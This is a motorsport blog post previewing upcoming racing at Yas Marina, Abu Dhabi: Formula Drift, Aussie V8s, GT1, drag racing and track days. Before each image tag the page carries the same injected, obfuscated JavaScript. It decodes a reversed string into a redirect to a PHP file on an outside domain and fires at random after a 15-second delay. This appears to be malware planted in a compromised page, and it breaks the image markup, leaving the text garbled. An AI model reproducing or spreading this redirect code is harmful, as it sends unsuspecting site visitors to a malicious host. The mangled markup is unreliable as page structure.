$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/F1_Abu_Dhabi/f1abudhabi33-1.jpg” alt=”” width=”728″ />
Whilst the Formula One Championship is looking ever more likely to come down to the wire at the season finale at Yas Marina, we’re even more interested to learn what other racing the guys in Abu Dhabi have got lined up for us once F1’s been and gone.
Well, the full details have just been announced – and boy, is there some cracking stuff on its way, including Formula Drift!
Formula Drift
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/contributors/camden%20thrasher/DeanKearneyFormulaDriftSeattle41.jpg” alt=”” width=”728″ />
It’s been rumoured to be happening for a while, but now it’s definitely happening. Though the exact driver line-up has yet to be confirmed, we’re crossing our fingers that the likes of Vaughn Gittin Jr, Tanner Foust and Christ Forsberg will be bring their monster drifting smoke machines to the Yas track. We hope that Dean Kearney’s CRANK&PISTON-backed Nissan 240SX makes the trip over.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/press_release/YasD1DriftCourse.jpg” alt=”” width=”728″ />
And we’re also hoping that the organisers will do the right thing and use the Northern Grandstand as the venue for the event. The sight of two 650bhp drift cars running just centimetres from each other as they come around the bottom hairpin is something we’ve been dreaming about. Formula Drift hits Yas Marina on Friday February 25th.
Aussie V8s
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/YAS%20V8s/V8GTYasMarina198.jpg” alt=”” width=”728″ />
The big bad cars from down under are making their second appearance at Yas Marina after putting on a great show earlier in the year. A packed grid of Fords and Holdens is expected and if this February’s event was anything to go by, it’ll be a cracking day out for all spectators. The Aussie V8s are sharing the circuit with the manic GP2 Asia Championship and our very own UAE GT Championship on the weekend of the 11th and 12th of February.
GT1 World Championship
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/FIA%20GT1%202010/FIAGT1YasMarina45.jpg” alt=”” width=”728″ />
I’ve been lucky enough to catch two rounds of the GT1 Championship in person this year – the first was the opening round at Yas back in April, and then during our time at an extremely wet Nurburgring at the end of August. With a grid of 24 cars that features Aston Martin DBR9s, Nissan GT-Rs, Ford GTs, Maserati MC12s, Lamborghini Murcielagos and Corvettes – this is full-on fire-spitting racing at its best. The sound of all of these cars piling into Turn 1 is extreme to say the least. GT1s are back in town on the weekend of 26th-27th March, with a full contingent of UAE National racers acting as support.
Drag Racing
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/press_release/YAS-DRAG-RACING-00181.jpg” alt=”” width=”728″ />
After a great first showing from the stunning drag facility back in March, Hot Rod Fuller and the team from the 1/4 mile have been working hard to get drag racing up and running in Abu Dhabi. The insane Top Fuellers will be returning on March 4th-5th, but before then, the drag strip will be running a host of ‘run-what-you-brun’ style events for you to see just how fast – or not – your car is over the 1320ft run.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/press_release/YASTopFuelDragster.jpg” alt=”” width=”728″ />
For those without a suitable machine, be sure to bag yourself a ride in the 3-seater drag car. For just 400Dhs, you can find out just what a five-second run up the track feels like.
And there’s more…
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/F1_Abu_Dhabi/f1abudhabi11-1.jpg” alt=”” width=”728″ />
Aside from everything I’ve already mentioned, Yas is also hosting the Pirelli tyre testing sessions straight after November 14th’s F1 race. There’ll also be young drivers getting their first taste of F1, plus two weeks’ worth of GP2 testing.
But if you want to get on track yourself, Yas is promising to host loads of open track days where it’s full race school of V8 Vantages, single seaters plus hot hatches are at your disposal – for a fee, naturally.
This winter is looking to be a cracking one indeed!
